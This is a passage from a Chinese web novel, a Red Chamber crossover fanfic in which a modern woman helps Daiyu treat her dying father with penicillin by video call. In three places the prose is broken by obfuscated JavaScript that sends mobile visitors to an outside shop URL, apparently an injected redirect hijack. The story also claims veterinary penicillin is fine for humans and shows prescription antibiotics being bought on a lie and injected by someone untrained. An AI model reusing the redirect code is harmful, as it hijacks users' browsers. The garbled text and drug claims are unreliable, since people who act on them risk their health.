“芸哥儿想要去铺面跟着学东西,我明儿去和凤姐姐说,看有没有什么好去处。”宝玉确实很是上心。 在这当儿,宝珠肯定不能说贾芸人品可能有问题。好在日久见人心,而且只要贾家势力不倒,贾芸人品究竟如何也不是什么要紧的事。 过了几日,宝玉果然找了王熙凤,把贾芸安排到宁荣街附近的一家书铺做事。这份差事离家近、事情轻省、接触之人又大多风雅,对贾芸这样的大家族落魄子弟再合适不过。贾芸很是感激,几次想做东谢宝玉,都被宝玉推了。“若只是喝茶尚可,道谢就不必了,天天谢这谢那的何等无趣。” 贾芸也是个聪明人,从此不再提谢字,而是时常送些市井淘来的小玩意进府,见面也只和宝玉说些市井轶闻、乡野趣事,宝玉也就愈发愿意和他交往了。 小寒这日,贾芸又送来了两个胖嘟嘟的糖人娃娃。虽然不是什么贵重东西,但难得做糖人的老师傅手艺高超,两个拳头大小的小糖人手指眉眼一应俱全,表情生动,活灵活现,让人一见就心生欢喜。 黛玉取笑宝玉,“人家叫你宝叔,你好歹也该有个叔叔样儿。每次都收侄儿的礼,也不害臊。” 宝玉笑着回话,“这是芸儿的孝心,我收了才是成全他。”见黛玉看得仔细,忙拿了一个糖人递给黛玉,“这个给你。” 又拿起另一个糖人。“这个送给宝珠姐姐。” 黛玉把糖人接过了过来,仔细打量着糖人娃娃的小圆脸。“这糖人倒是真可爱,就是不知道宝珠姐姐这次什么时候过来,糖人可别放坏了。” 他们这些日子也慢慢把两个世界连接的规律大概试出来了。对他们而言,间隔短则三天,多则七天,就能和宝珠那边连接上。他们昨日刚和宝珠见面,所以这次等的时间最短两日,最长六日。 “芸儿说这糖人能放很久,六日肯定没有问题。”宝玉对此信心满满。 两个人正在这里说话,突然鸳鸯走了进来,脸上还带着几分莫名的神色。“林姑娘,老太太那边叫你。” 黛玉心中一突,“鸳鸯姐姐,外祖母叫我是有什么事吗?” 素来爽快的鸳鸯这时却垂下双目并不多言,黛玉知道有事,忙把手中糖人递给宝玉,往史老太君的正屋去了。宝玉本来想跟上,鸳鸯却对他微微摇头,他也只好留在自己的房中。 “出了什么事啊?”宝玉一边念叨一边转圈儿,然后又走到屋外等。 袭人不知道发生了什么事,见他拿着两个糖人在廊下走来走去,忍不住笑他,“二爷你又在做什么呢,外面冷,可别冻着了。” 宝玉却不理她,依然翘首望着那边,这时正好见到黛玉垂着头出来。 “林妹妹!”宝玉一溜小跑过去,却发现黛玉眼睛红红的,鸳鸯正在安慰她。宝玉呆呆停住了脚步,“妹妹怎么了?” 黛玉却顾不上回答宝玉,由鸳鸯搀扶着回自己房间去了。宝玉跟在后面,见房间里面黛玉坐在床上默默哭泣,心里慌乱无比。鸳鸯又安慰了黛玉几句,这才给宝玉和同样不知情的紫鹃使了个眼色,两个人忙跟着她到了屋外。 “今天扬州那边来了人,说是林姑爷病重,要接林姑娘回扬州。”鸳鸯说的声音很轻,宝玉却如同听到了一个惊雷一般,整个人都蒙蒙的。 “林妹妹要回扬州?”宝玉昏头昏脑地就想说不行,但好歹还是克制住了。 他又想进去看黛玉,鸳鸯怕他犯傻,忙拉住他。“宝玉,如今林姑娘正伤心,你可不要闹她。” 紫鹃却不理宝玉,自己进了屋子,坐在黛玉身边默默去握她的手。黛玉本来泪眼婆娑的,察觉到紫鹃进来,便身子一软靠在紫鹃身上。 宝玉也默默走了进去,掏出手绢为黛玉擦眼泪。 鸳鸯见状,叹息一身,又嘱咐下人们好好照顾黛玉,这才离开了。出门后,她见到一个婆子正在清扫黏在地上的糖人碎渣,认出这是刚才黛玉和宝玉拿在手里的,却不知何时落在了地上。 “可惜林姑娘了。”鸳鸯想着,脚步却没有放慢。 黛玉离开京都几日后,宝珠才从宝玉口中知道了这件事。 “黛玉回扬州了?”宝珠脸上并没有太大惊讶。林如海病重本就是书中写明会发生的事情,宝珠对此早有心理准备。 只是,这对于黛玉实在太残忍了。 先是丧母,继而又要丧父。 “林妹妹本来是想向姐姐求药的,但老太太安排得急,妹妹也怕、也怕赶不及和姑父见上最后一面……”宝玉待在黛玉常坐的窗下,虽然脸上有着冬日难得的灿烂阳光,却无法照亮少年眉宇间的消沉。大哥贾珠病逝的时候他还小,不懂死亡是什么,但看到林妹妹的眼泪,他第一次真正体会到了死亡的可怕。 “姐姐能救我姑父吗?”宝玉眼里含着些许期盼。 宝珠不是真正的神仙,哪里来的可以救命的神药。但这样的解释现在听起来只会显得空洞。她想了想问道,“他是得了什么病?” 宝玉摇头。 “你知道他是有什么症状?” 宝玉又摇头。林如海的信里只说是病重,送信来的下人也不清楚情况,只说是老爷卧床已有一月有余,如今气力不支,连信都是由幕僚帮着写的。 宝珠一时无语。连生了什么病,又何症状都不知道,她就算想帮忙也没法帮啊。 两个人相顾无言了一会,宝玉这才振作起来。他其实是个情商很高的孩子,消沉过后就后悔起自己刚才的莽撞。“刚才是宝玉无礼了……” “没事,你也是关心则乱。”宝珠明白宝玉的心情,“可惜我帮不上忙……” “我颠颠又倒倒,好比浪涛~~”宝珠的电话突然响了起来。宝珠没有心思理会,却听见另一个音乐声也同时在耳边响起。 “都、是勇敢的~” 宝玉脸上带着诧异之色,从怀里拿出手机。上面豁然是黛玉的名字,“林妹妹~” 宝珠也突然明白过来,忙抓起手机。果然是黛玉打过来的V信视频电话。 两个人接通电话,黛玉的声音立刻传了过来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017117|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“宝珠姐姐,你能看到吗?” 宝珠看着视频中的黛玉。她眼睛微红,脸上带着急切。从周围的情景看,她此时似乎是坐在一条正在行驶的船上,身后窗外水波荡漾。 宝珠点头,“黛玉别急,我在呢,我看到你了。” 黛玉顿时喜极反泣。宝珠以往从未在荣国府以外的地方出现,她也是抱着一丝希望才带着手机回扬州。没想到虽然不能见到宝珠,手机上却收到了宝珠发的V信,电话也能拨通。 被林妹妹忽略的宝玉忙安慰黛玉,“妹妹别哭,宝珠姐姐在呢,林姑父肯定会没事的。” 刚才不是还在反省吗,怎么看见黛玉立刻就把自己这个宝珠姐姐拿出来挡枪、不,应该说拿她来挡眼泪了啊。 果然姐姐不值钱,妹妹才是最重要的。 宝珠心里默默吐槽两句,但她也一样不忍心看黛玉伤心,主动问起黛玉林如海的病情。黛玉现在还在回扬州途中,她知道的情况也不比宝玉多。 宝珠只好宽慰黛玉,“等你到了扬州,我知道了你父亲确切的病情,说不定就有办法了。” 宝玉也忙点头,“对对对。对症方能下药。妹妹先顾好自己身子,这样到了扬州才能照顾林姑父。” 听见黛玉的声音,本来在一边守着的紫鹃也忍不住凑了过来。她望着宝玉手机屏幕中娇弱的黛玉,几乎也要落下泪来。“姑娘快别哭了,二爷说的对,你是要去照顾病人的,怎么能反而先把身子弄坏了。” 黛玉看着屏幕上三张关心的脸庞,路上的孤独和担忧终于被温暖驱走了。她止住眼泪,坚强露出一个笑容。“黛玉明白了,多谢大家。” 几个人本来还想和少女多说几句,但黛玉那边已经传来了奶娘王嬷嬷的声音,“姑娘在和谁说话呢?” 不在荣国府,身边又没有紫鹃遮掩,黛玉只好依依不舍地挂断了电话。好在还能发文字信息,大家聊着聊着,三个小时的时间很快就过去了。虽然手机上的信号已经沉默,黛玉脸上依然挂着真心的笑容。 未来会好起来的。 -------- 该怎么办啊? 被黛玉寄托了希望的宝珠却只觉得头疼。她明明只是一个普通人,要从哪里变成能救林如海的神药啊。而且现在更麻烦的是什么有效的信息都没有。 宝珠翻开红楼梦,横看竖看也只看到四个字,“身染重疾”。唯一的好消息是书里明确写了林如海的死期,“九月初三巳时”。现在还是冬天,时间应该还早。 宝珠又求助万能的网络,但翻了几篇之后反而更晕了。有猜想林如海是肺病的,有认为他是得了疟疾,大家都是猜测,毫无根据,而且连林如海的死亡日期也变得不可信了。 因为有文章说秦可卿是死在春天,停灵四十九天未过昭儿就回来报林如海九月的死讯,这显然是不合理的。如果以秦可卿的死亡时间为准,林如海最迟也只拖到五月,而且还没算上昭儿回来报信的路途时间。 这简直是一团乱啊,曹公又留下了一个谜团。 16.第 16 章 尽管头疼,但第二天,宝珠还是驱车前往二姐工作的医院。不管怎么样,她还是要为林妹妹努力一把的。 宝珠口中的二姐名叫刘文婷,是张姨的小女儿。当年张姨来照顾宝珠的时候,宝珠还是个初中生,而刘文婷已经上大学了。因为她常到宝珠家里帮着母亲干活,因此也就认识了宝珠。这两个人虽然年龄相差了七八岁,但感情却相当不错。 正好今天刘文婷休息,她和宝珠约在医院附近的快餐店。啃了几根炸鸡腿,喝了一杯在宝珠看来难喝到死的纯咖啡,这位一脸倦容的年轻医生才像是活了过来。“我昨天晚上值班,幸亏运气好没遇上什么事,拼拼凑凑睡了四五个小时,要不然你休想约我出来。” 宝珠忙露出谄媚的笑脸,“二姐辛苦了。” 刘文婷是熟悉宝珠的,她狐疑地看了宝珠一眼,“你今天跑来找我做什么,这可不像是你的性格。不会是我妈让你来劝我的吧?” “你和张姨又闹矛盾了?”宝珠有些吃惊,“我没有听张姨说啊!” “不是就好。”刘文婷瞥了宝珠一眼,拿起薯条蘸了好大一坨番茄酱放进嘴里。“看你一脸怪样,我还以为你有什么话难开口呢。” “我就不能是因为想你才来看你啊?”宝珠有些委屈。“以前你没上班的时候还经常请我吃饭,现在上了班就把我忘记了,我主动来见你还要给我扣锅。” “好好好,算我错了。”刘文婷自觉理亏,“下次我主动请你吃饭一顿好不好?” “这还差不多。”宝珠表示自己记下了,她又向对方展示自己的黑眼圈,“二姐,我这几天黑眼圈越来越重了,你看看有什么办法没有?” “我又不是皮肤科的医生,这种事情干嘛老问我?”刘文婷一脸无语,“你这个是熬夜起的黑眼圈,早点睡不就好了。” “早睡能治黑眼圈我当然知道,但我做不到啊!”宝珠理不直气也壮,“二姐是护肤小达人,所以才来求助你嘛!” 刘文婷无语,只好翻出手机,把自己常用的那几款眼霜链接分享给宝珠。 “我就知道二姐这里有好东西。”宝珠认真地一一加入购物车,又一脸好奇地问,“二姐,我有个问题啊。现在医生如果没有检查报告,能看病不?” 刘文婷有些奇怪地问,“没有检查报告看病,什么意思?” 宝珠就把早就想好的说辞讲了出来,“我前几天在网上看到一个求助贴,她说自己家在国外,父亲病重。二姐,你知道的,国外看病很贵,她就问国内的医生能不能网上问诊,再从国内给她寄药过去。我就很好奇,这种情况到底能不能操作呢?” 宝珠表现得像一个好奇宝宝,结果换来刘文婷看傻瓜一般的眼神,“一个重症病人,不能做检查也没有过往的检查报告,甚至连病人的面都见不到。宝珠啊,你当我们医生是神仙啊?” “有病人照片行吗?嗯……还有当地医生的诊断和药方。” “还当地医生的诊断和药方,要是有用他不就直接把病人治好了吗?别说西医,就是中医也要讲究个望闻问切。这光凭这点东西,哪个医生敢诊断开药。别说能不能治好病人,要是出了事,医师资格不想要了?” “这个网上求助的人不会是在东南亚吧?”刘文婷非常警惕,“那边的骗局多的很,你可别上当啊!” “我哪有那么傻,就是有点好奇罢了。”宝珠说完,叼着吸管就是一大口暴风吸入。 “知道你没那么笨,就是怕你乱发善心被人骗。” “不会不会。”宝珠嘻嘻哈哈地蒙混过关,又问道,“二姐,我再问个问题啊?如果是那种很落后的地方,病人没有接触过抗生素,遇到严重的肺病,直接打青霉素有没有可能把对方救回来?” 刘文婷瞥了她一眼,“你不会还想着刚才的事吧。她都能上网了,当地会没有青霉素?” 宝珠笑道,“不是,我是联想起小说的桥段了。二姐,你看过双穿文没,就是那种可以在过去和现代穿梭的?” “我是比你大七岁,不是比你大七十岁!要不要给你看看我绿JJ和赤壤的账号?”刘文婷没好气的说,“青霉素也不是万能的,不说存在过敏人群,非过敏人群也只有一半的可能对症。” 绿JJ我知道,赤壤是啥?不过这50%的对症几率,完全就是看运气了。 宝珠这样想着,又问,“那能治疟疾吗?” 刘文婷:“……治疟疾的那叫青蒿素……” “哦。”宝珠讪笑。 “不学无术,前几年屠呦呦老师获得诺贝尔奖的新闻总看过吧。那说的就是青蒿素。”刘文婷恨铁不成钢地在宝珠脑袋上点了点。“现实的事不关心,倒去研究小说里的事?看书就图个开心罢了,要细究起来,不管青霉素还是青蒿素都是处方药,去正规药店根本买不着呢。” “那怎么办?” “都叫你不要当真了。”虽然这么说,但刘文婷还是回答了宝珠的问题,“小说中那种大量采购肯定不行。但一盒两盒的话,有些管理不严格的小药店还是会卖的。也可以在网上买,上面开处方的要求要松些。非要大量购买的话,就只能买兽用青霉素了,那个不需要处方,可以随便买。” “兽用的能给人用?” “当然能用,不能用我和你说啥?你以为我是不良庸医吗?”陆文婷瞥了宝珠一眼,“兽用的质量和人用的差不多,最大的区别是纯度不同。现代人是因为抗生素用多了,所以纯度低的不起作用。从没接触过抗生素的就不存在这个问题了。” 宝珠一拍手,“还可以这样啊。我又长知识了!” 刘文婷把最后一根薯条炫嘴里,伸了个懒腰,“一天天地也不知道在想啥。我懒得和你胡扯,困都困死了。” 宝珠笑道,“知道你辛苦了,二姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13042958|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你快回去休息吧。” “真是,吃你一顿饭还这么麻烦。”刘文婷一边吐槽一边站了起来,临走前她又摸摸宝珠头上的小丸子。“你啊,别天天宅在家里,也出来走走。下次二姐请你吃饭!” “谢谢二姐,二姐再见。”等二姐走远,宝珠盘点了一下今天的收获,最后决定先去找药店试试。被第一家拒绝后,宝珠机智地用要去非洲旅游、提前备药的理由说服了后一家的卖药小姐姐。 但青霉素的皮试依然是个问题。药品可以口服,但皮试只能用注射的办法。总不可能寄希望于林如海不需要青霉素,或是他不是青霉素过敏人士吧。 好在古代从北京到扬州的路程遥远,不像现代社会用一张机票或是高铁票就能解决。即便有了京杭大运河的便利,黛玉的船也要航行一个多月才能到达扬州,这固然让黛玉归心似箭,但也给了她足够的练习时间。 再次请教了二姐之后,在网络小视频的帮助下,宝珠开始在猪皮上练手。试了几次后,宝珠大概有了经验,又开始教黛玉如何做皮试,如何注意用药。 黛玉往常只拿过毛笔和绣花针的小手如今拿起锋利的针管,在最初的忐忑颤抖之后,竟然也逐渐沉稳起来。她学得十分认真,连宝珠都觉得可以了,她却还再三地要求继续练习。虽然没有什么道理,但此刻在她的心中,她多用心一份,父亲康复的可能性就会高一分。 于是,从来没有自己买过菜的宝珠这几天成了菜市场的常客,每天早上去买新鲜的猪皮,晚上收获几块布满针眼的试验品。 宝玉也知趣地不出来打扰她们。只要看到群里有她们发出的讯息,他就十分满足。如果能收到黛玉的问候,和她聊上两句,他就愈发快活。 就这样,随着黛玉的技巧愈发熟练,载着她这一行人的两艘大船终于接近了扬州。 “马上就要到了啊。”宝珠通过黛玉的镜头,看到了越来越近的江南码头。这一路上黛玉的担心和努力,到底会得到一个怎么样的结果,终于就要得到答案了。 “嗯。”黛玉轻声应答。她的心跳得很快,虽然一路上她给自己做了很多心理建设,但在即将靠岸的这一刻,她内心的不安又全部浮现了出来。父亲还好吗,他在等着自己吗? “姑娘,船已经靠岸了,琏二爷请姑娘下船呢!”雪雁在外面轻声唤道。 这时本来该挂断电话的,但黛玉却用略显紧张的声音祈求,“宝珠姐姐,可以陪陪我吗?” 宝珠微笑点头,“可以啊。” “谢谢姐姐。”黛玉把手机紧紧握住藏在袖中,然后一言不发地走出了船舱。宝珠不禁庆幸之前为了练习方便,给黛玉买了新的蓝牙耳机,这时正好能陪着她走完这段归家的路程。 远远看见自家姑娘,守候在码头上的林府管家也顾不上和贾琏说话了,急切地迎了上来。“姑娘你可回来了,老爷一直等着你呢!” 17.第 17 章 “老管家~”看着老管家欢喜的面容,黛玉也有些激动。 “走,走,我们回家。”老管家一叠声地说着,把黛玉迎上了马车。小丫鬟雪雁和奶娘上了后面的马车,管家自己则陪着贾琏骑马走在前面。 车轮碌碌,穿行在扬州的大街小巷之间。宝珠听到了隐约传来的市井嘈杂声。黛玉一直把手机紧紧握在手里,宝珠只能通过镜头看到头顶的车盖和林妹妹小巧的半张脸。 不多时,马车就来到了林府。黛玉把手机收在袖中,镜头再次黑了下来。 “玉儿,来,到父亲这来。”宝珠听到一个虚弱的男子声音。 然后便是黛玉带着哭腔的呼唤,“父亲~” 随着少女这一声悲呼,手机从她的袖中轻轻滑出。镜头晃了几次,终于定格在一个仰看的角度。 一处陌生的卧房中,黛玉正扑在床前,对着一位面色苍白的中年男子哭泣。好在这个男子只顾着看黛玉,没有注意到角落里的手机。但宝珠还是遮掩住自己这边的镜头,让黛玉的手机屏幕变成一片黑色,尽量降低手机的存在感。 做完这些,宝珠才放心打量黛玉那边传来的画面。 这就是林如海啊。 虽然已经形销骨立,但眉眼间依然能看出曾经的儒雅清俊。果然不愧是林妹妹的父亲。 宝珠听见一个年轻男子的声音,“琏儿拜见林姑父。” “这一路辛苦你了。”林如海虽然病重,但脸上笑意依然温和。 贾琏又转达了几位长辈的问候,林如海也勉力谢过。等到礼数尽完,林如海又看向几年未见的女儿,见她个子高了,相貌已然出落成少女模样,心中大感欣慰。他正要开口,却剧烈大咳起来。 “咳咳,咳咳咳~” 虽然隔着手机,听到咳嗽声的宝珠怀疑他几乎要把心肺都咳了出来。 咳得这么厉害,不会真的是肺上出了问题吧?这世上的病症何至成千上万,网友们的猜想居然撞对了?!本来不过是尽人事的宝珠也觉得太神奇了。 宝珠正猜度着,手机中又传来了老管家的声音。他向贾琏和黛玉诉说林如海的病情。原来林如海这病是去年春天犯的,那时不过是偶尔咳嗽几声,当时正值盐课事务繁忙,林如海就没有在意。不料后面越发厉害,竟是无一日不咳,无一时不咳。 林如海这才重视,让府里去请医生。但吃了几副药却不管用,反而咳得更厉害了,后来又请了扬州的名医,但依旧不管用,人也渐渐消瘦下来,身体越发虚弱。今年入秋之后更是每况愈下,连走动都没有气力了。 林如海才好不容易止了咳,又觉胸闷气短,歇了好一会才勉强好些。他对女儿道,“我如今已病入膏肓,时日不多,临走前能见你一面已经是万幸了。你外祖母把你照顾得很好,我很放心。” “父亲别这么说。”黛玉悲从心中来。“我已经没了母亲,若是父亲也弃我而去,玉儿就没了家了。” 林如海听女儿这么说,原本还算镇定的脸上也露出几分悲痛。老管家开始抹眼泪,贾琏也有些叹息。 黛玉这一路上已经变得坚强很多,她很快从即将失去父亲的惶恐中清醒过来。擦干眼泪,少女紧握住父亲枯瘦的大手,“父亲不要灰心,玉儿为你求了良药,一定能治好父亲。”她说着就叫来雪雁,让她把装着药品的匣子拿上来。 林如海却不把女儿的话当真,只是笑道,“你这傻孩子,父亲这病已不知道请过多少名医了,若是有用,又怎会如此?” “父亲,这不是凡药,一定有用的。”黛玉坚持拿出匣子中的青霉素。宝珠的话她记得很牢,咳嗽发热用青霉素,腹泻寒颤用青蒿素。 “这是……”林如海初见匣子里形制奇异的药丸和玻璃小瓶也愣了一下,但听到黛玉的说法,他又有些无奈。“玉儿,这世上的药都是凡药。那些和尚道士装神弄鬼的所谓神药,可都吃不得啊。” 他是正经的儒家弟子,平素奉行的就是“子不语乱力怪神”。尤其是女儿幼时,有癞头和尚上门疯疯癫癫地要带黛玉出家,他就更讨厌这些神神怪怪的事了。 “父亲~”黛玉正要争辩,林如海却又咳了起来,黛玉慌忙为父亲抚背顺气。 贾琏见父女二人为吃药的事僵在这里,虽然好奇林妹妹是从哪里求来的药,但也不便多问多说,便借口去收拾行李先告辞了。林如海自然应允,老管家忙带了贾琏出去。下人们也识趣都退到了门外。 这时房中便只剩了林家父女二人。林如海这才又说道,“你这孩子也太莽撞了。我如今都已经是要下世的人,说不定就是一日两日就要闭眼。你拿来的药暂且不提有用没用,我若是今日吃了药明日就去了,你自己心里如何不会多想,又如何过得去?” 黛玉这才明白林如海的拳拳爱女之心。“可是……” “玉儿乖,这一路行船也累了吧,先下去休息吧。”林如海刚才说了一长段话,气力已经不支,但对女儿的语气依然温和又坚持。 “黛玉,我来和林老先生说吧。”宝珠突然出声。 “宝珠姐姐?”黛玉愣了一下,这才想起宝珠一直都在。她拿起跌落在身旁的手机,宝珠正微笑着看着她。 “玉儿,你在和谁说话?”林如海迷惑道。 黛玉忙把屏幕对着林如海,声音也切回了外放。 “林老先生好。”宝珠对着林如海挥挥手。 “你、你是何人!”林如海看着黛玉掌中的年轻女子,瞪大了眼睛。 “林老先生不要紧张,我叫欧宝珠,是黛玉的朋友。”宝珠刚才决定和林如海见面的时候,就已经想好了措辞。“我不是神仙,也不是坏人,只是一个有点特殊的普通人,能做到一些对你们来说比较特殊的事情。那些药就是我送给她的。虽然说是神药有些过了,但确实在治病救人上有独到之处。而且就算无用,也不会有害,林老先生可以一试。” 见林如海沉着脸没说话,宝珠又接着说,“我知道林老先生的担忧。但比起您所担心的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050099|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些,黛玉更希望用尽一切办法把您留下。就像她自己说的,她已经没有母亲,不能再失去父亲了。她现在还只是个未成年的孩子,林老先生就忍心把她孤零零地留在这个世上。” “外祖母再好,贾家的姐妹再友善,始终不及黛玉有一个属于自己的家。” 林如海听了宝珠的话,脸上的警惕神色渐渐和缓。他看着正一脸期盼看向自己的女儿,沉思一会,终于开口。“林某何尝不想得活。既是仙子如此说,林某愿意一试。” “林老先生,我可不是什么仙子……”宝珠哭笑不得,“算了,先不管这个。黛玉你先做青霉素皮试吧。” 听宝珠向自己解释皮试的作用,林如海对宝珠和这个叫青霉素的药也更多了几分信心。服药之前如此谨慎,是正经医家的做法。 黛玉如之前无数次的练习那般,熟练地开始调配药剂,抽入针管。 宝珠本来以为黛玉会紧张,黛玉最初也确实有些忐忑,但当她开始第一步的操作,少女的眼神就变得专注而镇定,她似乎是在这一刻起就将一切负面的情绪都摈弃在外了。 她拿着针管的那只手也很稳,没有一丝丝软弱和颤抖。当黛玉沉着将药水注射到林如海手臂的皮肤下时,宝珠注意到林如海望着女儿的眼神也变了。 那里面既有惊讶,又有欢喜、欣慰,还有一些宝珠没看懂的情绪。 黛玉并不知道其他两个人都在赞叹她的专注,她放下针管,长长出了一口气,然后笑靥如花。“宝珠姐姐,我成功了。” “嗯,你做得很好。”宝珠当然不吝啬表扬。 接下来的二十分钟,三个人都紧紧盯着林如海手臂上那个如黄豆一般大小的小突起。 “没事!父亲不过敏!”当时间一点点走完,而林如海并没有过敏反应,黛玉几乎要跳起来鼓掌庆祝了。 但宝珠知道这只是又过了一关罢了。猜对肺病是一关,不过敏是一关,剩下还要看青霉素对林如海的病是不是真地有效。 因为大楚朝的人没有接触过青霉素,宝珠让黛玉按照正常剂量的1/4给林如海服药。 这也算是红楼梦世界有史以来第一次有人用青霉素治病。这在现实世界是足以记入药物史的大事,可惜在红楼世界却不为人知,也不会有人重视。 林如海可不知道宝珠又开始了习惯性的发撒思维,他就着黛玉递来的温水服下药,正要再次感谢仙子,却看见那叫手机的黑玉石上宝珠的神情突然停滞,然后画面一变,不见了宝珠的身影。 三个小时的连接时间到了。 ------ “居然在这个时候断了!” 宝珠也有些失望。不过青霉素到底不是真的神药,也不会短时间就起效。终究还是要等到明天的。 希望林如海的好运气能继续发挥下去吧。如果他能活下来,有了父亲的庇护,黛玉会更健康成长,日后即便贾府衰落,又或是和宝玉没有一个结果,她也有家可回、有亲人可以依靠。 18.第 18 章 结束了这次漫长的视频通话,宝珠这才注意到聊天群里除了自己和黛玉的通话记录外,还有一条宝玉发的信息。 绛洞花主:妹妹到扬州了吗? 宝珠当时没看到这条消息,黛玉估计就更没心思注意其他了。而没有得到回应的宝玉大概是怕打扰她们的正经事,也不再追问,就此沉寂下去。估计宝玉也在担心吧。 时间对宝珠来说还是过得很快的,这天晚上她便得到了林如海病情好转的好消息。黛玉在视频中笑得纯真灿烂,而宝玉在为妹妹高兴之余却神色有些尴尬。 因为黛玉的身边多了一个在他意料之外、却在情理之中的人。 虽然脸上依然带着病容,但林如海的气色比起初见已经好得多了。虽然还不能从床上起身,但他还是坚持让黛玉扶着自己向宝珠行了一个大礼。“林某此次能得以逃离死劫、枯木发荣,全赖宝珠姑娘赠药。一介凡夫俗子,无以为报,唯有感恩于心。日后姑娘若有所需,林某定当尽心竭力报答姑娘。” 他这么郑重其事的道谢,弄得宝珠也有些不好意思。“林老先生客气了。一些药而已,对我来说也不是难事,您不用这么在意。” 林如海微微一笑,对宝珠的推辞早已准备。“姑娘慷慨大方,自然是神仙气度,但这等活命之恩,林某如若视如平常,岂不枉为人哉。” “好、好吧。您高兴就好。”宝珠最不擅长应付这种情况,只好顺口应了,然后借口有事放下手机。 但宝玉就没有那么好运了,虽然他竭力在长辈面前缩小自己的存在感,但林如海还是精准地点了他的名字,态度温和地问起他史老太君和贾府诸人的近况。 谈起前面这些家事时还算融洽,等到林如海问起宝玉的课业,宝玉就开始支支吾吾起来。原本在家学里的时候,虽然三天打鱼两天晒网,但好歹有几分心思放在学业上。现在离了学堂,贾政又无暇管他,他每天不是在家里和姐妹们玩,就是出门去见贾芸和严教士,课业早就荒废了。 好在林如海虽然是个传统的士大夫,并不是像贾政那样一味严厉古板。他见宝玉拘谨不安,便不再问他课业,转而询问宝玉平时喜欢看什么书,做什么事。 宝玉本来是等着林姑父对他露出失望之色的,但对方的态度却出乎他的意料,少年心中不免一松。林如海年少时也是淘气过的,宝玉看过的闲书他大致都看过,宝玉喜好的事他也没少接触,无论宝玉说什么他都能接上话,还能中肯地加以指导和评论,于是宝玉越发对这个初次见面的林姑父有了好感。 在宝玉过往十余年的人生中,他还是第一次遇到有男性长辈愿意这么耐心地听他说闲话胡话,而且还博学多闻,言之有物。他不由越说越多,甚至和林如海卖弄起了这段时间学到的新知识。 什么大地是圆的啊,天上没有雷公电母啊,山川隆起是地壳运动啊…… 诸如此类。 真是个傻孩子。 宝珠听得眉头脸蛋都皱成一团了。她放下手机后其实人并没有离开,然后就“看”着宝玉一点点被林如海诱拐着说了许多心里话,完全将对方当成了知心叔叔。 幸亏宝玉没说出自己那“吃女孩嘴上胭脂”的爱好,要不然他不尴尬,宝珠却要替他扣出三室一厅了。 和宝玉说了许久,林如海对这个内侄的性情也大概有了自己的判断。传言中所说的惫懒厌学是真的,女儿所说的聪慧赤忱也是真的。这孩子既是顽石,也是璞玉,要想打磨出来可不容易啊! 可就算要雕琢打磨,内兄的教子方略是不是有点太过严厉了?好好一个聪明机敏的孩子,听上去却是很畏惧自己的父亲。 林如海正思索着这一点,见女儿在一旁偷笑,便把手机还给了黛玉。“你们自己说话去吧。” 黛玉高高兴兴地和父亲撒娇两句,这才抱着手机就回到自己房中。见没了林如海,宝珠也重新冒头。 “林妹妹,宝珠姐姐,终于见到你们了。”宝玉十分欢喜。上次没有得到回应,要不是聊天群里能看到两个女孩子一直在视频通话,他都要担心出事了。 “刚才我们都在呢,怎么不见你这么说?”宝珠取笑宝玉。 黛玉则问道,“紫鹃呢,今天怎么没见到他。” 宝玉举着手机往四周一晃,“我这会不在府里,凤姐姐带我到珍大哥哥这边看望蓉儿媳妇,我看见有信号,就立刻躲到会芳园里了。”他这会儿正在山坡上的亭子里,旁边树叶还带着点残雪。他裹着大毛斗篷独自一个人喃喃自语,别人远远看见,只当他又在胡闹,倒无人过来打扰他。 宝珠走到箱子边往下看,果然没在荣国府见到宝玉。 黛玉笑道,“你怎么敢把手机带出府了?” 宝玉扁扁嘴,“你都敢把手机带到扬州去,我为什么不敢把手机带出府。反正都能收到外发信号,只要我小心一点有什么不行的。”要是不随身带着,他这次岂不是又错过了和黛玉、宝珠的会面? “算你有理。”不等宝玉说话,黛玉举起一个精美的梳妆匣递到手机面前。“宝珠姐姐,这里是一些扬州时兴的头面,送给姐姐添妆。” “送我这个做什么?”宝珠一时没有反应过来。她平时懒散,再加上不爱出门,基本就不怎么打扮。上次的宫花也不过是一时新鲜戴了一回,然后就深藏柜中了。这一点黛玉见了自己这么多次,应该是明白的啊。 黛玉笑道,“姐姐送了我们这么多东西,也该妹妹孝敬姐姐一次了。姐姐可不要嫌弃。” 黛玉笑得实在可爱,宝珠不忍拒绝,迟疑着把梳妆匣从黛玉手中拿了出来。 好重! 梳妆匣一入手,宝珠就觉得手里沉甸甸的。她心里有所预感,打开盖子,里面放出无数珠光宝气,照耀在宝珠脸上灼灼生辉。 “啊,我的狗眼~”宝珠好不容易才忍住没出声,在黛玉和宝玉面前保住了形象。 